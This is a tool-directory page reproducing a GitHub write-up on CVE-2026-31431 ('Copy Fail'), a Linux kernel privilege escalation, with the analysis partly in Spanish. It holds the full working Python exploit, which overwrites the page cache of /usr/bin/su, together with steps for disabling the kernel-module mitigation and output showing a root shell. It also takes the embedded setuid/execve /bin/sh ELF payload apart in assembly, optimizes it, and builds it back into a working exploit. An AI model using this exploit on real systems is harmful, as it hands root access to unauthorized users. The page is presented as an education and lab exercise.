Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
asm-copyfail — CVE-2026-31431 (Copy Fail) — Análisis y desarrollo en Ensamblador x86-64 | Analysis and development in x86-64 Assembly | Kitploit
Tools/GitHubGitHub/pithase/asm-copyfail
Privilege EscalationVulnerability AnalysisExploitationReverse EngineeringShellcodeCTFLearning & EducationPayload DevelopmentBinary ExploitationLabs & Practice
GitHubpithase/asm-copyfail

asm-copyfail

33 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-31431 (Copy Fail) — Análisis y desarrollo en Ensamblador x86-64 | Analysis and development in x86-64 Assembly

View Repository

CVE-2026-31431 (Copy Fail) — Analysis and development in x86-64 Assembly

Based on the source code published in Theori, we will do several exercises until we fully convert it to pure Assembly language (without external libraries).```python #!/usr/bin/env python3

Archivo: copyfail.py

import os as g,zlib,socket as s def d(x):return bytes.fromhex(x) def c(f,t,c): a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) try:u.recv(8+t) except:0 f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3")) while i<len(e):c(f,i,e[i:i+4]);i+=4 g.system("su")

root@kitploit:~
## Testing environment

We will perform the exercise on the following machine.```bash
> $ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 24.04.4 LTS
Release:        24.04
Codename:       noble

> $ uname -rm
6.19.4-061904-generic x86_64

Vulnerability Validation

We run the Python program to validate if the system is vulnerable. If it gives an error, it is not vulnerable; if it opens the sh shell, it is vulnerable.```bash

$ python3 copyfail.py Traceback (most recent call last): File "/home/gmg/copy.fail/copyfail.py", line 11, in while i<len(e):c(f,i,e[i:i+4]);i+=4 ^^^^^^^^^^^^^^^ File "/home/gmg/copy.fail/copyfail.py", line 7, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"4+c],[(h,3,i4),(h,2,b'\x10'+i19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ FileNotFoundError: [Errno 2] No such file or directory

root@kitploit:~
### Disable mitigation

On this machine, the mitigation was downloaded via automatic security updates, which is why it failed. To test it, we lowered the defense by renaming the file where the mitigation is located.```bash
# Buscar si existe un modprobe explícito
> $ grep -r "algif" /etc/modprobe.d/
/etc/modprobe.d/disable-algif_aead.conf:# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)
/etc/modprobe.d/disable-algif_aead.conf:install algif_aead /bin/false

# Renombrar el archivo donde se encuentra la mitigación
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf /etc/modprobe.d/disable-algif_aead.conf.bak

We test the program again and now, it returns the shell and we verify that we are root.```bash

$ python3 copyfail.py

id

uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)

exit

root@kitploit:~
### Reactivate protection

Once the exercise is finished, run the following to reactivate protection:```bash
> $ sudo mv /etc/modprobe.d/disable-algif_aead.conf.bak /etc/modprobe.d/disable-algif_aead.conf
> $ sudo modprobe -r algif_aead
> $ sudo sync && echo 3 | sudo tee /proc/sys/vm/drop_caches

Part 1 — From the Python exploit to the optimized Assembly payload

Analysis of the compressed payload

The first thing we need to analyze is what the string compressed with zlib is about. For that we create a Python program, decompress.py, that decompresses it and generates a file: output.bin.```python

Archivo: decompress.py

import zlib

hex_data = "78daab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e07e5c1680601086578c0f0ff864c7e568f5e5b7e10f75b9675c44c7e56c3ff593611fcacfa499979fac5190c0c0c0032c310d3"

data = zlib.decompress(bytes.fromhex(hex_data))

with open("output.bin", "wb") as f: f.write(data)

print(f"Archivo generado: output.bin ({len(data)} bytes)")

root@kitploit:~
We execute and analyze the file type.```bash
> $ python3 decompress.py
Archivo generado: output.bin (160 bytes)

> $ file output.bin
output.bin: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

ELF Investigation

Now that we know it is an ELF 64-bit LSB executable, let's investigate it.```bash

$ readelf -a output.bin ELF Header: Magic: 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00 Class: ELF64 Data: 2's complement, little endian Version: 1 (current) OS/ABI: UNIX - System V ABI Version: 0 Type: EXEC (Executable file) Machine: Advanced Micro Devices X86-64 Version: 0x1 Entry point address: 0x400078 Start of program headers: 64 (bytes into file) Start of section headers: 0 (bytes into file) Flags: 0x0 Size of this header: 64 (bytes) Size of program headers: 56 (bytes) Number of program headers: 1 Size of section headers: 0 (bytes) Number of section headers: 0 Section header string table index: 0

There are no sections in this file.

There are no section groups in this file.

Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flags Align LOAD 0x0000000000000000 0x0000000000400000 0x0000000000400000 0x000000000000009e 0x000000000000009e R E 0x1000

There is no dynamic section in this file.

There are no relocations in this file. No processor specific unwind information to decode

Dynamic symbol information is not available for displaying symbols.

No version information found in this file.

root@kitploit:~
The ELF structure occupies **120 bytes**: **ELF header** (64 bytes) + **Program header** (56 bytes). The machine code starts at byte 120 (0x78), which matches the **Entry point address: 0x400078**.

### Disassembly of the code

Having the **Entry point address: 0x400078**, we can now start disassembling the code.```bash
> $ objdump -D -b binary -m i386:x86-64 -M intel -z --start-address=0x78 output.bin

output.bin:     file format binary


Disassembly of section .data:

0000000000000078 <.data+0x78>:
  78:   31 c0                   xor    eax,eax
  7a:   31 ff                   xor    edi,edi
  7c:   b0 69                   mov    al,0x69
  7e:   0f 05                   syscall
  80:   48 8d 3d 0f 00 00 00    lea    rdi,[rip+0xf]        # 0x96
  87:   31 f6                   xor    esi,esi
  89:   6a 3b                   push   0x3b
  8b:   58                      pop    rax
  8c:   99                      cdq
  8d:   0f 05                   syscall
  8f:   31 ff                   xor    edi,edi
  91:   6a 3c                   push   0x3c
  93:   58                      pop    rax
  94:   0f 05                   syscall
  96:   2f                      (bad)
  97:   62 69 6e 2f 73          (bad)
  9c:   68                      .byte 0x68
  9d:   00 00                   add    BYTE PTR [rax],al
  9f:   00                      .byte 0

objdump Parameters

Explanation of each parameter:

  • -D — Disassemble All. Disassembles all the content of the file, not only the sections marked as code. Without this, -d only disassembles .text, and since this file has no ELF sections (it is pure binary), it would show nothing.
  • -b binary — Binary format. Tells objdump to treat the file as raw data, without trying to parse ELF headers. Without this, objdump would try to read the ELF header of the file and would fail or disassemble incorrectly.
  • -m i386:x86-64 — Machine architecture. Indicates the instruction set for disassembly. i386 is the base family, :x86-64 specifies 64-bit mode. It is necessary when using -b binary, because without ELF headers objdump has no way to know the architecture. Without -m, it assumes i386 (32-bit) and the disassembly comes out wrong — 64-bit instructions like lea rdi, [rip+0xf] are decoded as garbage.
  • -M intel — Syntax mode. Uses Intel syntax () instead of AT&T ().

In summary: with -b binary, -m is mandatory because objdump cannot infer the architecture without an ELF header. With a normal ELF file (without -b binary), -m is not needed because the architecture is in the e_machine field of the header.

The -z parameter in this case is essential, because as we will see later there are zeros used as padding and without this parameter it would show what follows and we would not have the exact disassembly.```bash 9d: 00 00 add BYTE PTR [rax],al ...

root@kitploit:~
### Identification of the "/bin/sh" string

In the objdump output, we see:```bash
  96:   2f                      (bad)
  97:   62 69 6e 2f 73          (bad)
  9c:   68                      .byte 0x68
  9d:   00 00                   add    BYTE PTR [rax],al
  9f:   00                      .byte 0

and at location 0x80, we have:```bash 80: 48 8d 3d 0f 00 00 00 lea rdi,[rip+0xf] # 0x96

root@kitploit:~
Interpreting this last line we infer that it is a string, which starts at location 0x96 and ends at 0x9F. We can see the string in the following ways:```bash
> $ strings -t x output.bin
     96 /bin/sh

> $ xxd -s 0x96 -l 10 output.bin
00000096: 2f62 696e 2f73 6800 0000                 /bin/sh...

The first 00 is the null terminator that marks the end of the string (/bin/sh\0). The remaining two 00 are alignment padding.

Assembly code of the payload

Cleaning up the code we get:```assembly ; Archivo: payload.asm

BITS 64

section .text xor eax, eax ; rax = 0 xor edi, edi ; rdi = 0 mov al, 0x69 ; rax = 105 (setuid) syscall ; setuid(0)

root@kitploit:~
lea     rdi, [rel shell_string]  ; rdi -> "/bin/sh"
xor     esi, esi                 ; rsi = 0 (argv = NULL)
push    0x3b                     ; 59 (execve)
pop     rax
cdq                              ; rdx = 0 (envp = NULL)
syscall                          ; execve("/bin/sh", NULL, NULL)

xor     edi, edi                 ; rdi = 0
push    0x3c                     ; 60 (exit)
pop     rax
syscall                          ; exit(0)

shell_string: db "/bin/sh", 0 ; string con terminador NULL db 0, 0 ; padding de alineación

root@kitploit:~
> Padding ensures that the total is divisible by 4, since the Python exploit writes the payload in the page cache in chunks of 4 bytes. If the size were not a multiple of 4, the last chunk would be incomplete and the write would be incorrect.

### Identity verification with the original

We verify that this code is identical to the **output.bin** file we generated by decompressing the string, compiling as binary:```bash
> $ nasm -f bin payload.asm -o payload.bin

We extract only the code from the output.bin file. Since we know that the first 120 bytes correspond to the ELF structure, we skip that amount of bytes.```bash

$ dd if=output.bin bs=1 skip=120 > payload-original.bin 40+0 records in 40+0 records out 40 bytes copied, 0,00247062 s, 16,2 kB/s

root@kitploit:~
We confirm that our code is identical to the original payload. Three ways to do it are shown.```bash
> $ diff -s payload-original.bin payload.bin
Files payload-original.bin and payload.bin are identical

> $ cmp -s payload-original.bin payload.bin && echo "-->> Idénticos" || echo "-->> Distintos"
-->> Idénticos

> $ md5sum payload-original.bin payload.bin | awk '{h[NR]=$1; print} END {print (h[1]==h[2]) ? "-->> Idénticos" : "-->> Distintos"}'
a48e81f49bfd55a8f7ec72a5c29a1e31  payload-original.bin
a48e81f49bfd55a8f7ec72a5c29a1e31  payload.bin
-->> Idénticos

Payload optimization

Having the certainty that the payload.asm code corresponds exactly to the original, we are going to optimize it.```assembly ; Archivo: payload-optimized.asm

BITS 64

section .text xor edi, edi ; rdi = 0 push 0x69 ; 105 (setuid) pop rax ; rax = 105 syscall ; setuid(0)

root@kitploit:~
xor     esi, esi                  ; rsi = 0 (argv = NULL)
mov     rbx, 0x0068732f6e69622f   ; rbx = "/bin/sh\0"
push    rbx                       ; string al stack
push    rsp                       ; push dirección del string
pop     rdi                       ; rdi → "/bin/sh" en stack
push    0x3b                      ; 59 (execve)
pop     rax
cdq                               ; rdx = 0 (envp = NULL)
syscall                           ; execve("/bin/sh", NULL, NULL)

xor     edi, edi                  ; rdi = 0
push    0x3c                      ; 60 (exit)
pop     rax
syscall                           ; exit(0)

db 0                              ; padding de alineación
root@kitploit:~
> Alignment padding: 120 (headers) + 35 (code) = 155 -> +1 byte = 156 / 4 = 39 chunks.

In **Part 2** we will see in detail the reason for each optimization.

We compile:```bash
> $ nasm -f bin payload-optimized.asm -o payload-optimized.bin

Compilation as executable ELF

To run the payloads directly, we must compile and link them as follows:```bash

$ nasm -f elf64 payload.asm -o payload.o $ ld payload.o -o payload ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload $

$ nasm -f elf64 payload-optimized.asm -o payload-optimized.o $ ld payload-optimized.o -o payload-optimized ld: warning: cannot find entry symbol _start; defaulting to 0000000000401000 $ ./payload-optimized $

root@kitploit:~
If we want to eliminate the warning, after **`section .text`** we should add the following lines:```assembly
    global _start
_start:

Building the optimized ELF

We combine the ELF headers (the first 120 bytes) of the original payload (output.bin) and the optimized 36-byte payload (payload-optimized.bin). We do some checks, set execute permissions, and upon execution we get the shell.```bash

$ { dd if=output.bin bs=1 count=120; cat payload-optimized.bin; } > payload-optimized.elf 120+0 records in 120+0 records out 120 bytes copied, 0,000526437 s, 228 kB/s

$ ls -l payload-optimized.elf -rw-rw-r-- 1 gmg gmg 156 may 14 17:55 payload-optimized.elf

$ file payload-optimized.elf payload-optimized.elf: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

$ chmod +x payload-optimized.elf

$ ./payload-optimized.elf $

root@kitploit:~
## Analysis of ELF headers

When concatenating the headers (120 bytes) of the original ELF with our optimized payload (36 bytes), the resulting file has 156 bytes, but the **p_filesz** and **p_memsz** fields in the headers still indicate 158, the value of the original 160-byte file. We will analyze and correct these fields.

To do this, we need to know the header structures of an ELF file.```c
// --- ELF Header (64 bytes) ---
// Definido en <elf.h> como Elf64_Ehdr

struct Elf64_Ehdr {                     // Offset  Bytes
    unsigned char e_ident[16];          // 0x00    16
    uint16_t      e_type;               // 0x10    2
    uint16_t      e_machine;            // 0x12    2
    uint32_t      e_version;            // 0x14    4
    uint64_t      e_entry;              // 0x18    8
    uint64_t      e_phoff;              // 0x20    8
    uint64_t      e_shoff;              // 0x28    8
    uint32_t      e_flags;              // 0x30    4
    uint16_t      e_ehsize;             // 0x34    2
    uint16_t      e_phentsize;          // 0x36    2
    uint16_t      e_phnum;              // 0x38    2
    uint16_t      e_shentsize;          // 0x3A    2
    uint16_t      e_shnum;              // 0x3C    2
    uint16_t      e_shstrndx;           // 0x3E    2
};                                      // Total: 64 bytes

// --- Program Header (56 bytes) ---
// Definido en <elf.h> como Elf64_Phdr

struct Elf64_Phdr {                     // Offset  Bytes
    uint32_t      p_type;               // 0x40    4
    uint32_t      p_flags;              // 0x44    4
    uint64_t      p_offset;             // 0x48    8
    uint64_t      p_vaddr;              // 0x50    8
    uint64_t      p_paddr;              // 0x58    8
    uint64_t      p_filesz;             // 0x60    8
    uint64_t      p_memsz;              // 0x68    8
    uint64_t      p_align;              // 0x70    8
};                                      // Total: 56 bytes

Fields p_filesz and p_memsz

We observe what values p_filesz and p_memsz have in the Program Header. They indicate how many bytes of the segment exist in the file on disk and how many are reserved in memory when loaded.

The offsets for p_filesz and p_memsz are 0x60 and 0x68 respectively.```bash

$ xxd -s 0x60 -l 8 -p output.bin 9e00000000000000

$ xxd -s 0x68 -l 8 -p output.bin 9e00000000000000

root@kitploit:~
### Endianness verification

Visually we notice that the values are in **little-endian**, since if they were big-endian they would be huge values and would not match the size of 160 bytes. To confirm, we check the value of **e_ident[5]** in the ELF header.

The possible values are:

| Value | Constant | Meaning |
|---|---|---|
| 0x01 | ELFDATA2LSB | Little-endian (x86, x86-64, ARM) |
| 0x02 | ELFDATA2MSB | Big-endian (SPARC, PowerPC, MIPS BE) |

We execute:```bash
> $ xxd -s 5 -l 1 -p output.bin
01

Confirmed that it is in little-endian. We see the values in decimal:```bash

p_filesz -> offset 0x60

$ od -An -t u8 -j 0x60 -N 8 output.bin 158

p_memsz -> offset 0x68

$ od -An -t u8 -j 0x68 -N 8 output.bin 158

root@kitploit:~
### Size comparison

We list the file sizes.```bash
> $ ls -l output.bin payload-optimized.elf
-rw-rw-r-- 1 gmg gmg 160 may 12 18:03 output.bin
-rwxrwxr-x 1 gmg gmg 156 may 14 17:55 payload-optimized.elf

The original file size is 160 bytes, but in the structure it is assigned 158 bytes. This is because the file has two bytes of padding at the end and the author decided to be precise and indicate only the bytes that will be loaded. If instead of 158 it were 160, it would still execute correctly because the two padding bytes are never executed (they are after exit) and are not referenced either.

Our optimized file occupies 156 bytes and has one byte of padding. Following the same line of precision as the program's author, we will set p_filesz and p_memsz to 155.

Patching the fields

Convert 155 decimal to hexadecimal.```bash

$ echo "obase=16; 155" | bc 9B

también puede ser

$ printf '%x\n' 155 9b

root@kitploit:~
It is good practice that the **p_filesz** and **p_memsz** fields of the Program Header have the correct values.```bash
> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x60)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000686896 s, 1,5 kB/s

> $ printf '\x9b' | dd of=payload-optimized.elf bs=1 seek=$((0x68)) count=1 conv=notrunc
1+0 records in
1+0 records out
1 byte copied, 0,000130524 s, 7,7 kB/s

Verification of changes

We confirm that the changes were applied correctly.```bash

p_filesz -> offset 0x60

$ od -An -t u8 -j 0x60 -N 8 payload-optimized.elf 155

p_memsz -> offset 0x68

$ od -An -t u8 -j 0x68 -N 8 payload-optimized.elf 155

root@kitploit:~
We can also confirm it by looking at the Program Header.```bash
> $ readelf -l payload-optimized.elf

Elf file type is EXEC (Executable file)
Entry point 0x400078
There is 1 program header, starting at offset 64

Program Headers:
  Type           Offset             VirtAddr           PhysAddr
                 FileSiz            MemSiz              Flags  Align
  LOAD           0x0000000000000000 0x0000000000400000 0x0000000000400000
                 0x000000000000009b 0x000000000000009b  R E    0x1000

We run it and it continues to work correctly.```bash

$ ./payload-optimized.elf $

root@kitploit:~
## Integration into the exploit

We create a program that compresses the optimized payload and returns the hexadecimal string to insert it into the exploit.```python
# Archivo: compress.py

import zlib

with open("payload-optimized.elf", "rb") as f:
    data = f.read()

compressed = zlib.compress(data)

print(f"Original: {len(data)} bytes -> Comprimido: {len(compressed)} bytes")
print(compressed.hex())

Plugin tools:

  • PortScan - Scan ports quickly 🔍
  • DirFuzzer - Discover hidden directories and files on a website 🪲
  • GETparameters - Find GET parameters 📥```bash

$ python3 compress.py Original: 156 bytes -> Comprimido: 86 bytes 789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6

root@kitploit:~
We replace the compressed string in the original exploit with the new optimized string.```python
#!/usr/bin/env python3
# Archivo: copyfail-optimized.py

import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
 a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
 try:u.recv(8+t)
 except:0
f=g.open("/usr/bin/su",0);i=0;e=zlib.decompress(d("789cab77f57163626464800126063b0610af82c101cc7760c0040e0c160c301d209a154d16999e0de5c16806010865f83f2b33829fd5f09bc76efda4cc3cfde20c86e090f82ceb889940c1ff59364039060003f110d6"))
while i<len(e):c(f,i,e[i:i+4]);i+=4
g.system("su")

We test the exploit with the optimized payload and confirm that it works correctly.```bash

$ python3 copyfail-optimized.py

id

uid=0(root) gid=1000(gmg) groups=1000(gmg),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),101(lxd)

exit

root@kitploit:~
> ⚠️ Do not forget to [reactivate protection](#reactivar-la-protección) once the test is finished.  

## Contact  

If you have questions, suggestions, or corrections, write to me indicating the repository name at:  
✉️ `[email protected]`
Download Tool
mov al, 0x69
mov $0x69, %al
  • -z — Disables suppression of zero sequences. This way it shows everything without omitting zeros.
  • --start-address=0x78 — Start from offset 0x78 (120 bytes). Skips the ELF headers and program header of the payload, disassembling only the machine code. Without this, it would disassemble the headers as if they were instructions.